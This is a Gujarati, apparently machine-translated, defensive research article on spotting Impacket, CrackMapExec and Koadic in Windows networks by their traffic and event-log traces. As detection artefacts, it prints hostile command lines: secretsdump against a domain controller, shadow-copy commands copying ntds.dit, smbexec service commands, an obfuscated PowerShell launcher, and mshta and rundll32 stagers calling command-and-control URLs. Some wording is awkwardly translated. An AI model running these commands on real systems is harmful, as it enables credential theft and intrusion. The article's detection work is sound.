વિન્ડોઝ ઈન્ફ્રાસ્ટ્રક્ચર પર હુમલા કેવી રીતે શોધી શકાય: હેકર ટૂલ્સનો અભ્યાસ

કોર્પોરેટ સેક્ટરમાં હુમલાઓની સંખ્યા દર વર્ષે વધી રહી છે: ઉદાહરણ તરીકે 2017 માં, 13% વધુ અનન્ય ઘટનાઓ નોંધવામાં આવી હતી 2016 કરતાં, અને 2018 ના અંતમાં - 27% વધુ ઘટનાઓઅગાઉના સમયગાળા કરતાં. તે સહિત જ્યાં મુખ્ય કાર્યકારી સાધન વિન્ડોઝ ઓપરેટિંગ સિસ્ટમ છે. 2017-2018માં, APT ડ્રેગનફ્લાય, APT28, APT મડી વોટર યુરોપ, ઉત્તર અમેરિકા અને સાઉદી અરેબિયામાં સરકારી અને લશ્કરી સંગઠનો પર હુમલા કર્યા. અને અમે આ માટે ત્રણ સાધનોનો ઉપયોગ કર્યો - ઇમ્પૅકેટ, ક્રેકમેપેક્સેક и કોઆડીક. તેમનો સ્રોત કોડ ખુલ્લો છે અને GitHub પર ઉપલબ્ધ છે.

તે નોંધવું યોગ્ય છે કે આ સાધનોનો ઉપયોગ પ્રારંભિક ઘૂંસપેંઠ માટે થતો નથી, પરંતુ ઇન્ફ્રાસ્ટ્રક્ચરની અંદર હુમલો વિકસાવવા માટે. હુમલાખોરો પરિમિતિના ઘૂંસપેંઠ પછી હુમલાના વિવિધ તબક્કામાં તેનો ઉપયોગ કરે છે. આ, માર્ગ દ્વારા, શોધવું મુશ્કેલ છે અને ઘણીવાર ફક્ત તકનીકીની મદદથી નેટવર્ક ટ્રાફિકમાં સમાધાનના નિશાનોને ઓળખવા અથવા સાધનો કે જે પરવાનગી આપે છે ઈન્ફ્રાસ્ટ્રક્ચરમાં ઘૂસી ગયા પછી હુમલાખોરની સક્રિય ક્રિયાઓ શોધી કાઢો. ટૂલ્સ ફાઇલોને સ્થાનાંતરિત કરવાથી લઈને રજિસ્ટ્રી સાથે ક્રિયાપ્રતિક્રિયા કરવા અને રિમોટ મશીન પર આદેશો ચલાવવા સુધીના વિવિધ કાર્યો પ્રદાન કરે છે. અમે તેમની નેટવર્ક પ્રવૃત્તિ નક્કી કરવા માટે આ સાધનોનો અભ્યાસ હાથ ધર્યો છે.

અમારે શું કરવાની જરૂર હતી:

• હેકિંગ ટૂલ્સ કેવી રીતે કામ કરે છે તે સમજો. હુમલાખોરોએ શોષણ કરવાની જરૂર છે અને તેઓ કઈ તકનીકોનો ઉપયોગ કરી શકે છે તે શોધો.
• હુમલાના પ્રથમ તબક્કામાં માહિતી સુરક્ષા સાધનો દ્વારા શું શોધી શકાયું નથી તે શોધો. જાસૂસી તબક્કો છોડવામાં આવી શકે છે, કારણ કે હુમલાખોર આંતરિક હુમલાખોર છે, અથવા કારણ કે હુમલાખોર ઇન્ફ્રાસ્ટ્રક્ચરમાં છિદ્રનું શોષણ કરી રહ્યો છે જે અગાઉ જાણીતું ન હતું. તેની ક્રિયાઓની સમગ્ર સાંકળને પુનઃસ્થાપિત કરવાનું શક્ય બને છે, તેથી વધુ હિલચાલ શોધવાની ઇચ્છા.
• ઘૂસણખોરી શોધ સાધનોમાંથી ખોટા હકારાત્મકને દૂર કરો. આપણે ભૂલવું ન જોઈએ કે જ્યારે એકલા રિકોનિસન્સના આધારે અમુક ક્રિયાઓ શોધવામાં આવે છે, ત્યારે વારંવાર ભૂલો શક્ય છે. સામાન્ય રીતે ઈન્ફ્રાસ્ટ્રક્ચરમાં કોઈપણ માહિતી મેળવવા માટે પૂરતી સંખ્યામાં માર્ગો હોય છે, જે કાયદેસર લોકોથી પ્રથમ નજરમાં અસ્પષ્ટ હોય છે.

આ સાધનો હુમલાખોરોને શું આપે છે? જો આ Impacket છે, તો હુમલાખોરોને મોડ્યુલની મોટી લાઇબ્રેરી મળે છે જેનો ઉપયોગ હુમલાના વિવિધ તબક્કામાં થઈ શકે છે જે પરિમિતિ તોડ્યા પછી અનુસરે છે. ઘણા સાધનો આંતરિક રીતે Impacket મોડ્યુલોનો ઉપયોગ કરે છે - ઉદાહરણ તરીકે, Metasploit. તેમાં રિમોટ કમાન્ડ એક્ઝેક્યુશન માટે dcomexec અને wmiexec છે, Impacket માંથી ઉમેરવામાં આવેલ મેમરીમાંથી એકાઉન્ટ્સ મેળવવા માટે secretsdump. પરિણામે, આવી લાઇબ્રેરીની પ્રવૃત્તિની સાચી તપાસ ડેરિવેટિવ્ઝની શોધને સુનિશ્ચિત કરશે.

તે કોઈ સંયોગ નથી કે નિર્માતાઓએ CrackMapExec (અથવા ફક્ત CME) વિશે "Impacket દ્વારા સંચાલિત" લખ્યું હતું. વધુમાં, CME પાસે લોકપ્રિય દૃશ્યો માટે તૈયાર કાર્યક્ષમતા છે: પાસવર્ડ્સ અથવા તેમના હેશ મેળવવા માટે Mimikatz, રિમોટ એક્ઝિક્યુશન માટે મીટરપ્રીટર અથવા એમ્પાયર એજન્ટનો અમલ અને બોર્ડ પર બ્લડહાઉન્ડ.

અમે પસંદ કરેલું ત્રીજું સાધન કોઆડિક હતું. તે એકદમ તાજેતરનું છે, તે 25 માં આંતરરાષ્ટ્રીય હેકર કોન્ફરન્સ DEFCON 2017 માં રજૂ કરવામાં આવ્યું હતું અને તે બિન-માનક અભિગમ દ્વારા અલગ પડે છે: તે HTTP, Java Script અને Microsoft Visual Basic Script (VBS) દ્વારા કાર્ય કરે છે. આ અભિગમને જમીનની બહાર જીવવાનું કહેવામાં આવે છે: સાધન વિન્ડોઝમાં બનેલી નિર્ભરતા અને પુસ્તકાલયોના સમૂહનો ઉપયોગ કરે છે. સર્જકો તેને COM કમાન્ડ એન્ડ કંટ્રોલ અથવા C3 કહે છે.

IMPACKET

Impacket ની કાર્યક્ષમતા ખૂબ જ વિશાળ છે, જેમાં AD ની અંદર રિકોનિસન્સ અને આંતરિક MS SQL સર્વરમાંથી ડેટા એકત્ર કરવા, ઓળખપત્ર મેળવવા માટેની તકનીકો સુધીની છે: આ એક SMB રિલે હુમલો છે, અને ડોમેન નિયંત્રકમાંથી વપરાશકર્તાના પાસવર્ડના હેશ ધરાવતી ntds.dit ફાઇલ મેળવવી. ઇમ્પેકેટ ચાર અલગ-અલગ પદ્ધતિઓનો ઉપયોગ કરીને આદેશોને દૂરસ્થ રીતે પણ ચલાવે છે: WMI, Windows શેડ્યૂલર મેનેજમેન્ટ સર્વિસ, DCOM અને SMB, અને આમ કરવા માટે ઓળખપત્રોની જરૂર પડે છે.

સિક્રેટ્સડમ્પ

ચાલો secretsdump પર એક નજર કરીએ. આ એક મોડ્યુલ છે જે વપરાશકર્તા મશીનો અને ડોમેન નિયંત્રકો બંનેને લક્ષ્ય બનાવી શકે છે. તેનો ઉપયોગ મેમરી વિસ્તારો LSA, SAM, SECURITY, NTDS.dit ની નકલો મેળવવા માટે થઈ શકે છે, તેથી તે હુમલાના વિવિધ તબક્કામાં જોઈ શકાય છે. મોડ્યુલની કામગીરીમાં પ્રથમ પગલું SMB દ્વારા પ્રમાણીકરણ છે, જેને પાસ ધ હેશ એટેકને આપમેળે હાથ ધરવા માટે વપરાશકર્તાના પાસવર્ડ અથવા તેના હેશની જરૂર પડે છે. આગળ સર્વિસ કંટ્રોલ મેનેજર (SCM) ની ઍક્સેસ ખોલવાની અને વિનરેગ પ્રોટોકોલ દ્વારા રજિસ્ટ્રીની ઍક્સેસ મેળવવાની વિનંતી આવે છે, જેનો ઉપયોગ કરીને હુમલાખોર રુચિની શાખાઓનો ડેટા શોધી શકે છે અને SMB દ્વારા પરિણામો મેળવી શકે છે.

ફિગ માં. 1 આપણે જોઈએ છીએ કે વિનરેગ પ્રોટોકોલનો ઉપયોગ કરતી વખતે, LSA સાથે રજિસ્ટ્રી કીનો ઉપયોગ કરીને ઍક્સેસ કેવી રીતે પ્રાપ્ત થાય છે. આ કરવા માટે, opcode 15 - OpenKey સાથે DCERPC આદેશનો ઉપયોગ કરો.

ચોખા. 1. winreg પ્રોટોકોલનો ઉપયોગ કરીને રજિસ્ટ્રી કી ખોલવી

આગળ, જ્યારે કીની ઍક્સેસ મેળવવામાં આવે છે, ત્યારે મૂલ્યો ઓપકોડ 20 સાથે SaveKey આદેશ સાથે સાચવવામાં આવે છે. Impacket આ ખૂબ ચોક્કસ રીતે કરે છે. તે મૂલ્યોને ફાઇલમાં સાચવે છે જેનું નામ .tmp સાથે જોડાયેલ 8 રેન્ડમ અક્ષરોની સ્ટ્રિંગ છે. વધુમાં, આ ફાઇલનું વધુ અપલોડ SMB દ્વારા System32 ડિરેક્ટરી (ફિગ. 2) માંથી થાય છે.

ચોખા. 2. રિમોટ મશીનમાંથી રજિસ્ટ્રી કી મેળવવા માટેની યોજના

તે તારણ આપે છે કે નેટવર્ક પર આવી પ્રવૃત્તિને વિનરેગ પ્રોટોકોલ, ચોક્કસ નામો, આદેશો અને તેમના ઓર્ડરનો ઉપયોગ કરીને ચોક્કસ રજિસ્ટ્રી શાખાઓને પ્રશ્નો દ્વારા શોધી શકાય છે.

આ મોડ્યુલ વિન્ડોઝ ઇવેન્ટ લોગમાં પણ નિશાન છોડે છે, જે તેને શોધવાનું સરળ બનાવે છે. ઉદાહરણ તરીકે, આદેશ ચલાવવાના પરિણામે

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

વિન્ડોઝ સર્વર 2016 લોગમાં આપણે ઘટનાઓનો નીચેનો મુખ્ય ક્રમ જોશું:

1. 4624 - રિમોટ લોગોન.
2. 5145 - વિનરેગ રિમોટ સર્વિસના એક્સેસ રાઇટ્સ તપાસી રહ્યા છીએ.
3. 5145 - System32 ડિરેક્ટરીમાં ફાઈલ એક્સેસ રાઈટ્સ તપાસી રહ્યા છીએ. ફાઇલમાં ઉપર જણાવેલ રેન્ડમ નામ છે.
4. 4688 - cmd.exe પ્રક્રિયા બનાવવી જે vssadmin લોન્ચ કરે છે:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - આદેશ સાથે પ્રક્રિયા બનાવવી:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - આદેશ સાથે પ્રક્રિયા બનાવવી:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - આદેશ સાથે પ્રક્રિયા બનાવવી:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

ઘણા પોસ્ટ-શોષણ સાધનોની જેમ, ઇમ્પેકેટમાં આદેશોને દૂરસ્થ રીતે ચલાવવા માટે મોડ્યુલો છે. અમે smbexec પર ધ્યાન કેન્દ્રિત કરીશું, જે રિમોટ મશીન પર ઇન્ટરેક્ટિવ કમાન્ડ શેલ પ્રદાન કરે છે. આ મોડ્યુલને SMB દ્વારા પ્રમાણીકરણની પણ જરૂર છે, ક્યાં તો પાસવર્ડ અથવા પાસવર્ડ હેશ સાથે. ફિગ માં. આકૃતિ 3 માં આપણે આવા સાધન કેવી રીતે કાર્ય કરે છે તેનું ઉદાહરણ જોઈએ છીએ, આ કિસ્સામાં તે સ્થાનિક એડમિનિસ્ટ્રેટર કન્સોલ છે.

ચોખા. 3. ઇન્ટરેક્ટિવ smbexec કન્સોલ

પ્રમાણીકરણ પછી smbexec નું પ્રથમ પગલું OpenSCManagerW આદેશ (15) સાથે SCM ખોલવાનું છે. ક્વેરી નોંધપાત્ર છે: મશીનનામ ફીલ્ડ ડમી છે.

ચોખા. 4. સર્વિસ કંટ્રોલ મેનેજર ખોલવાની વિનંતી

આગળ, સેવા CreateServiceW આદેશ (12) નો ઉપયોગ કરીને બનાવવામાં આવે છે. smbexec ના કિસ્સામાં, આપણે દરેક વખતે સમાન આદેશ બાંધકામ તર્ક જોઈ શકીએ છીએ. ફિગ માં. 5 લીલો બદલી ન શકાય તેવા આદેશ પરિમાણો સૂચવે છે, પીળો સૂચવે છે કે હુમલાખોર શું બદલી શકે છે. એક્ઝેક્યુટેબલ ફાઇલનું નામ, તેની ડિરેક્ટરી અને આઉટપુટ ફાઇલને બદલી શકાય છે તે જોવાનું સરળ છે, પરંતુ ઇમ્પેકેટ મોડ્યુલના તર્કને ખલેલ પહોંચાડ્યા વિના બાકીનું બદલવું વધુ મુશ્કેલ છે.

ચોખા. 5. સર્વિસ કંટ્રોલ મેનેજરનો ઉપયોગ કરીને સેવા બનાવવાની વિનંતી

Smbexec પણ Windows ઇવેન્ટ લોગમાં સ્પષ્ટ નિશાન છોડે છે. ipconfig આદેશ સાથે ઇન્ટરેક્ટિવ કમાન્ડ શેલ માટે વિન્ડોઝ સર્વર 2016 લોગમાં, આપણે ઘટનાઓનો નીચેનો કી ક્રમ જોશું:

1. 4697 - પીડિતના મશીન પર સેવાની સ્થાપના:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - બિંદુ 1 થી દલીલો સાથે cmd.exe પ્રક્રિયાની રચના.
3. 5145 - C$ ડિરેક્ટરીમાં __આઉટપુટ ફાઇલના ઍક્સેસ અધિકારો તપાસી રહ્યા છીએ.
4. 4697 - પીડિતના મશીન પર સેવાની સ્થાપના.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - બિંદુ 4 થી દલીલો સાથે cmd.exe પ્રક્રિયાની રચના.
6. 5145 - C$ ડિરેક્ટરીમાં __આઉટપુટ ફાઇલના ઍક્સેસ અધિકારો તપાસી રહ્યા છીએ.

ઇમ્પેકેટ એ હુમલાના સાધનોના વિકાસ માટેનો આધાર છે. તે વિન્ડોઝ ઈન્ફ્રાસ્ટ્રક્ચરમાં લગભગ તમામ પ્રોટોકોલ્સને સપોર્ટ કરે છે અને તે જ સમયે તેની પોતાની લાક્ષણિકતાઓ છે. અહીં વિશિષ્ટ વિનરેગ વિનંતીઓ છે, અને લાક્ષણિક આદેશ રચના સાથે SCM API નો ઉપયોગ, અને ફાઇલ નામનું ફોર્મેટ, અને SMB શેર SYSTEM32.

CRACKMAPEXEC

CME ટૂલ મુખ્યત્વે તે નિયમિત ક્રિયાઓને સ્વચાલિત કરવા માટે રચાયેલ છે જે હુમલાખોરે નેટવર્કમાં આગળ વધવા માટે કરવાની હોય છે. તે તમને જાણીતા એમ્પાયર એજન્ટ અને મીટરપ્રેટર સાથે જોડાણમાં કામ કરવાની મંજૂરી આપે છે. આદેશોને ગુપ્ત રીતે ચલાવવા માટે, CME તેમને અસ્પષ્ટ કરી શકે છે. બ્લડહાઉન્ડ (અલગ રિકોનિસન્સ ટૂલ) નો ઉપયોગ કરીને, હુમલાખોર સક્રિય ડોમેન એડમિનિસ્ટ્રેટર સત્રની શોધને સ્વચાલિત કરી શકે છે.

બ્લડહાઉન્ડની

બ્લડહાઉન્ડ, એક સ્વતંત્ર સાધન તરીકે, નેટવર્કમાં અદ્યતન રિકોનિસન્સ માટે પરવાનગી આપે છે. તે વપરાશકર્તાઓ, મશીનો, જૂથો, સત્રો વિશેનો ડેટા એકત્રિત કરે છે અને પાવરશેલ સ્ક્રિપ્ટ અથવા બાઈનરી ફાઇલ તરીકે પૂરો પાડવામાં આવે છે. LDAP અથવા SMB-આધારિત પ્રોટોકોલનો ઉપયોગ માહિતી એકત્રિત કરવા માટે થાય છે. CME ઇન્ટિગ્રેશન મોડ્યુલ બ્લડહાઉન્ડને પીડિતના મશીન પર ડાઉનલોડ કરવાની, એક્ઝેક્યુશન પછી એકત્રિત કરવામાં આવેલ ડેટાને ચલાવવા અને પ્રાપ્ત કરવાની મંજૂરી આપે છે, જેનાથી સિસ્ટમમાં ઑટોમેટિક ક્રિયાઓ થાય છે અને તેમને ઓછા ધ્યાનપાત્ર બનાવે છે. બ્લડહાઉન્ડ ગ્રાફિકલ શેલ એકત્રિત ડેટાને ગ્રાફના રૂપમાં રજૂ કરે છે, જે તમને હુમલાખોરના મશીનથી ડોમેન એડમિનિસ્ટ્રેટર સુધીનો ટૂંકો રસ્તો શોધવાની મંજૂરી આપે છે.

ચોખા. 6. બ્લડહાઉન્ડ ઇન્ટરફેસ

પીડિતના મશીન પર ચલાવવા માટે, મોડ્યુલ ATSVC અને SMB નો ઉપયોગ કરીને એક કાર્ય બનાવે છે. ATSVC એ Windows Task Scheduler સાથે કામ કરવા માટેનું એક ઇન્ટરફેસ છે. CME નેટવર્ક પર કાર્યો બનાવવા માટે તેના NetrJobAdd(1) ફંક્શનનો ઉપયોગ કરે છે. CME મોડ્યુલ શું મોકલે છે તેનું ઉદાહરણ ફિગમાં બતાવવામાં આવ્યું છે. 7: આ એક cmd.exe કમાન્ડ કોલ છે અને XML ફોર્મેટમાં દલીલોના રૂપમાં અસ્પષ્ટ કોડ છે.

ફિગ.7. CME દ્વારા કાર્ય બનાવવું

કાર્યને અમલ માટે સબમિટ કર્યા પછી, પીડિતનું મશીન બ્લડહાઉન્ડ પોતે જ શરૂ કરે છે, અને આ ટ્રાફિકમાં જોઈ શકાય છે. મોડ્યુલ પ્રમાણભૂત જૂથો, ડોમેનમાંના તમામ મશીનો અને વપરાશકર્તાઓની સૂચિ મેળવવા અને SRVSVC NetSessEnum વિનંતી દ્વારા સક્રિય વપરાશકર્તા સત્રો વિશે માહિતી મેળવવા માટે LDAP ક્વેરીઝ દ્વારા વર્ગીકૃત થયેલ છે.

ચોખા. 8. SMB દ્વારા સક્રિય સત્રોની યાદી મેળવવી

વધુમાં, ઓડિટીંગ સક્ષમ સાથે પીડિતના મશીન પર બ્લડહાઉન્ડ લોન્ચ કરવાની સાથે ID 4688 (પ્રક્રિયા બનાવટ) અને પ્રક્રિયાના નામ સાથેની ઇવેન્ટ છે. «C:WindowsSystem32cmd.exe». તેના વિશે જે નોંધપાત્ર છે તે આદેશ વાક્ય દલીલો છે:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

enum_avproducts મોડ્યુલ કાર્યક્ષમતા અને અમલીકરણના દૃષ્ટિકોણથી ખૂબ જ રસપ્રદ છે. WMI તમને વિવિધ Windows ઑબ્જેક્ટ્સમાંથી ડેટા પુનઃપ્રાપ્ત કરવા માટે WQL ક્વેરી ભાષાનો ઉપયોગ કરવાની મંજૂરી આપે છે, જે આવશ્યકપણે આ CME મોડ્યુલ વાપરે છે. તે AntiSpywareProduct અને AntiMirusProduct વર્ગો માટે પીડિતના મશીન પર ઇન્સ્ટોલ કરેલ સુરક્ષા સાધનો વિશે પ્રશ્નો પેદા કરે છે. જરૂરી ડેટા મેળવવા માટે, મોડ્યુલ rootSecurityCenter2 નેમસ્પેસ સાથે જોડાય છે, પછી WQL ક્વેરી જનરેટ કરે છે અને પ્રતિસાદ મેળવે છે. ફિગ માં. આકૃતિ 9 આવી વિનંતીઓ અને પ્રતિભાવોની સામગ્રી દર્શાવે છે. અમારા ઉદાહરણમાં, વિન્ડોઝ ડિફેન્ડર મળી આવ્યું હતું.

ચોખા. 9. enum_avproducts મોડ્યુલની નેટવર્ક પ્રવૃત્તિ

ઘણીવાર, WMI ઓડિટીંગ (ટ્રેસ WMI-પ્રવૃત્તિ), જેની ઇવેન્ટમાં તમે WQL ક્વેરીઝ વિશે ઉપયોગી માહિતી મેળવી શકો છો, તે અક્ષમ થઈ શકે છે. પરંતુ જો તે સક્ષમ છે, તો જો enum_avproducts સ્ક્રિપ્ટ ચલાવવામાં આવે છે, તો ID 11 સાથેની ઇવેન્ટ સાચવવામાં આવશે. તેમાં તે વપરાશકર્તાનું નામ હશે જેણે વિનંતી મોકલી છે અને નામ rootSecurityCenter2 નેમસ્પેસમાં હશે.

દરેક CME મોડ્યુલની પોતાની કલાકૃતિઓ હતી, પછી તે વિશિષ્ટ WQL ક્વેરીઝ હોય અથવા LDAP અને SMB માં અસ્પષ્ટતા અને બ્લડહાઉન્ડ-વિશિષ્ટ પ્રવૃત્તિ સાથે ટાસ્ક શેડ્યૂલરમાં ચોક્કસ પ્રકારના કાર્યની રચના હોય.

કોએડિક

Koadic ની એક વિશિષ્ટ વિશેષતા એ Windows માં બનેલ JavaScript અને VBScript દુભાષિયાઓનો ઉપયોગ છે. આ અર્થમાં, તે જમીનના વલણને અનુસરે છે - એટલે કે, તેની કોઈ બાહ્ય અવલંબન નથી અને તે પ્રમાણભૂત Windows સાધનોનો ઉપયોગ કરે છે. આ સંપૂર્ણ આદેશ અને નિયંત્રણ (CnC) માટેનું એક સાધન છે, કારણ કે ચેપ પછી મશીન પર "ઇમ્પ્લાન્ટ" ઇન્સ્ટોલ કરવામાં આવે છે, જે તેને નિયંત્રિત કરવાની મંજૂરી આપે છે. આવા મશીનને, કોઆડિક પરિભાષામાં, "ઝોમ્બી" કહેવામાં આવે છે. જો પીડિતની બાજુએ સંપૂર્ણ કામગીરી માટે અપૂરતા વિશેષાધિકારો હોય, તો કોઆડિક પાસે યુઝર એકાઉન્ટ કંટ્રોલ બાયપાસ (યુએસી બાયપાસ) તકનીકોનો ઉપયોગ કરીને તેમને વધારવાની ક્ષમતા છે.

ચોખા. 10. કોઆડિક શેલ

પીડિતાએ કમાન્ડ એન્ડ કંટ્રોલ સર્વર સાથે વાતચીત શરૂ કરવી જોઈએ. આ કરવા માટે, તેણીએ અગાઉ તૈયાર કરેલ યુઆરઆઈનો સંપર્ક કરવાની જરૂર છે અને સ્ટેજર્સમાંથી એકનો ઉપયોગ કરીને મુખ્ય કોઆડિક બોડી પ્રાપ્ત કરવાની જરૂર છે. ફિગ માં. આકૃતિ 11 એ mshta સ્ટેજર માટેનું ઉદાહરણ બતાવે છે.

ચોખા. 11. CnC સર્વર સાથે સત્રની શરૂઆત કરી રહ્યા છીએ

પ્રતિભાવ ચલ WS ના આધારે, તે સ્પષ્ટ થાય છે કે અમલ WScript.Shell દ્વારા થાય છે, અને ચલ STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE વર્તમાન સત્રના પરિમાણો વિશે મુખ્ય માહિતી ધરાવે છે. CnC સર્વર સાથે HTTP કનેક્શનમાં આ પ્રથમ વિનંતી-પ્રતિસાદ જોડી છે. અનુગામી વિનંતીઓ કહેવાતા મોડ્યુલ્સ (ઇમ્પ્લાન્ટ) ની કાર્યક્ષમતા સાથે સીધી રીતે સંબંધિત છે. બધા કોઆડિક મોડ્યુલ્સ CnC સાથે સક્રિય સત્ર સાથે જ કામ કરે છે.

મીમિક્સ

જેમ CME બ્લડહાઉન્ડ સાથે કામ કરે છે, તેમ Koadic Mimikatz સાથે એક અલગ પ્રોગ્રામ તરીકે કામ કરે છે અને તેને લોન્ચ કરવાની બહુવિધ રીતો છે. નીચે Mimikatz ઇમ્પ્લાન્ટ ડાઉનલોડ કરવા માટે વિનંતી-પ્રતિસાદ જોડી છે.

ચોખા. 12. Mimikatz ને Koadic માં સ્થાનાંતરિત કરો

તમે જોઈ શકો છો કે વિનંતીમાં URI ફોર્મેટ કેવી રીતે બદલાયું છે. તે હવે csrf ચલ માટે મૂલ્ય ધરાવે છે, જે પસંદ કરેલ મોડ્યુલ માટે જવાબદાર છે. તેના નામ પર ધ્યાન ન આપો; આપણે બધા જાણીએ છીએ કે CSRF સામાન્ય રીતે અલગ રીતે સમજવામાં આવે છે. પ્રતિસાદ કોઆડિકનો એ જ મુખ્ય ભાગ હતો, જેમાં મિમિકાત્ઝ સંબંધિત કોડ ઉમેરવામાં આવ્યો હતો. તે એકદમ મોટું છે, તેથી ચાલો મુખ્ય મુદ્દાઓ જોઈએ. અહીં અમારી પાસે બેઝ 64 માં એન્કોડેડ મીમીકાટ્ઝ લાઇબ્રેરી છે, એક સીરીયલાઇઝ્ડ .NET ક્લાસ કે જે તેને ઇન્જેક્ટ કરશે, અને મીમીકાત્ઝને લોન્ચ કરવા માટે દલીલો. એક્ઝેક્યુશન પરિણામ નેટવર્ક પર સ્પષ્ટ ટેક્સ્ટમાં પ્રસારિત થાય છે.

ચોખા. 13. રિમોટ મશીન પર મિમિકેટ્ઝ ચલાવવાનું પરિણામ

Exec_cmd

Koadic પાસે મોડ્યુલો પણ છે જે આદેશોને દૂરસ્થ રીતે ચલાવી શકે છે. અહીં આપણે સમાન URI જનરેશન મેથડ અને પરિચિત sid અને csrf વેરીએબલ્સ જોઈશું. exec_cmd મોડ્યુલના કિસ્સામાં, કોડ બોડીમાં ઉમેરવામાં આવે છે જે શેલ આદેશો ચલાવવા માટે સક્ષમ છે. CnC સર્વરના HTTP પ્રતિસાદમાં સમાયેલ આવો કોડ નીચે દર્શાવેલ છે.

ચોખા. 14. ઇમ્પ્લાન્ટ કોડ exec_cmd

કોડ એક્ઝેક્યુશન માટે પરિચિત WS એટ્રિબ્યુટ સાથે GAWTUUGCFI ચલ જરૂરી છે. તેની મદદ સાથે, ઇમ્પ્લાન્ટ શેલને કૉલ કરે છે, કોડની બે શાખાઓ પર પ્રક્રિયા કરે છે - shell.exec આઉટપુટ ડેટા સ્ટ્રીમ અને shell.run પરત કર્યા વિના.

કોઆડિક એ કોઈ વિશિષ્ટ સાધન નથી, પરંતુ તેની પોતાની કલાકૃતિઓ છે જેના દ્વારા તે કાયદેસર ટ્રાફિકમાં શોધી શકાય છે:

• HTTP વિનંતીઓની વિશેષ રચના,
• winHttpRequests API નો ઉપયોગ કરીને,
• ActiveXObject દ્વારા WScript.Shell ઑબ્જેક્ટ બનાવવું,
• મોટી એક્ઝિક્યુટેબલ બોડી.

પ્રારંભિક કનેક્શન સ્ટેજર દ્વારા શરૂ કરવામાં આવે છે, તેથી વિન્ડોઝ ઇવેન્ટ્સ દ્વારા તેની પ્રવૃત્તિને શોધવાનું શક્ય છે. mshta માટે, આ ઇવેન્ટ 4688 છે, જે શરૂઆતના લક્ષણ સાથે પ્રક્રિયાની રચના સૂચવે છે:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

જ્યારે કોઆડિક ચાલી રહ્યું હોય, ત્યારે તમે અન્ય 4688 ઇવેન્ટ્સને એટ્રિબ્યુટ સાથે જોઈ શકો છો જે તેને સંપૂર્ણ રીતે લાક્ષણિકતા આપે છે:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

તારણો

ગુનેગારોમાં લિવિંગ ઑફ ધ લેન્ડ ટ્રેન્ડ લોકપ્રિય થઈ રહ્યો છે. તેઓ તેમની જરૂરિયાતો માટે વિન્ડોઝમાં બનેલા સાધનો અને મિકેનિઝમ્સનો ઉપયોગ કરે છે. અમે આ સિદ્ધાંતને અનુસરીને લોકપ્રિય સાધનો Koadic, CrackMapExec અને Impacket જોઈ રહ્યા છીએ APT અહેવાલોમાં વધુને વધુ દેખાય છે. આ ટૂલ્સ માટે ગિટહબ પર ફોર્ક્સની સંખ્યા પણ વધી રહી છે, અને નવા દેખાઈ રહ્યા છે (હવે તેમાંથી લગભગ એક હજાર છે). આ વલણ તેની સરળતાને કારણે લોકપ્રિયતા મેળવી રહ્યું છે: હુમલાખોરોને તૃતીય-પક્ષ સાધનોની જરૂર નથી; તેઓ પહેલેથી જ પીડિતોના મશીનો પર છે અને સુરક્ષા પગલાંને બાયપાસ કરવામાં મદદ કરે છે. અમે નેટવર્ક સંચારના અભ્યાસ પર ધ્યાન કેન્દ્રિત કરીએ છીએ: ઉપર વર્ણવેલ દરેક સાધન નેટવર્ક ટ્રાફિકમાં તેના પોતાના નિશાન છોડે છે; તેમના વિગતવાર અભ્યાસથી અમને અમારી પ્રોડક્ટ શીખવવાની મંજૂરી મળી પીટી નેટવર્ક એટેક ડિસ્કવરી તેમને શોધી કાઢો, જે આખરે તેમની સાથે સંકળાયેલી સાયબર ઘટનાઓની સમગ્ર સાંકળની તપાસ કરવામાં મદદ કરે છે.

લેખકો:

